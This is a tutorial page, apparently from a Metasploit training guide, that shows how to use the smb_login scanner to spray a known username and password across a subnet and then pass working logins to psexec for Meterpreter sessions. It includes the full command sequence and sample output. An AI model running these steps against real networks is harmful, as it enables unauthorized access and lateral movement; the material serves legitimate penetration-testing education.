SMB Login Check a11y.text SMB Login Check Scanning for AccessÂ withÂ smb_login a11y.text Scanning for AccessÂ withÂ smb_login A common situation to find yourself in is being in possession of a valid username and password combination, and wondering where else you can use it. This is where the SMB Login Check Scanner can be very useful, as it will connect to a range of hosts and determine if the username/password combination can access the target. Keep in mind that this is very â€œloudâ€• as it will show up as a failed login attempt in the event logs of every Windows box it touches. Be thoughtful on the network you are taking this action on. Any successful results can be plugged into the windows/smb/psexec exploit module (exactly like the standalone tool), which can be used to create Meterpreter Sessions . msf > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) > show options

Module options (auxiliary/scanner/smb/smb_login):

Name	Current Setting	Required	Description
ABORT_ON_LOCKOUT	false	yes	Abort the run when an account lockout is detected
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DETECT_ANY_AUTH	true	no	Enable detection of systems accepting any authentication
PASS_FILE		no	File containing passwords, one per line
PRESERVE_DOMAINS	true	no	Respect a username that contains a domain name.

```
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RECORD_GUEST    false      no        Record guest-privileged random logins to the database
   RHOSTS                     yes       The target address range or CIDR identifier
   RPORT           445        yes       The SMB service port (TCP)
   SMBDomain       .          no        The Windows domain to use for authentication
   SMBPass                    no        The password for the specified username
   SMBUser                    no        The username to authenticate as
   STOP_ON_SUCCESS false      yes       Stop guessing when a credential works for a host
   THREADS         1          yes       The number of concurrent threads
   USERPASS_FILE              no        File containing users and passwords separated by space,
one pair per line
   USER_AS_PASS    false      no        Try the username as the password for all users
   USER_FILE                  no        File containing usernames, one per line
   VERBOSE         true       yes       Whether to print output for all attempts

msf auxiliary(smb_login) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(smb_login) > set SMBUser victim
SMBUser => victim
msf auxiliary(smb_login) > set SMBPass s3cr3t
SMBPass => s3cr3t
msf auxiliary(smb_login) > set THREADS 50
THREADS => 50
msf auxiliary(smb_login) > run

[*] 192.168.1.100 - FAILED 0xc000006d - STATUS_LOGON_FAILURE
```

[*] 192.168.1.111 - FAILED 0xc000006d - STATUS_LOGON_FAILURE

[*] 192.168.1.114 - FAILED 0xc000006d - STATUS_LOGON_FAILURE

[*] 192.168.1.125 - FAILED 0xc000006d - STATUS_LOGON_FAILURE

[*] 192.168.1.116 - SUCCESSFUL LOGIN (Unix)

[*] Auxiliary module execution completed

msf auxiliary(smb_login) > Next VNC Authentication Prev Vulnerability Scanning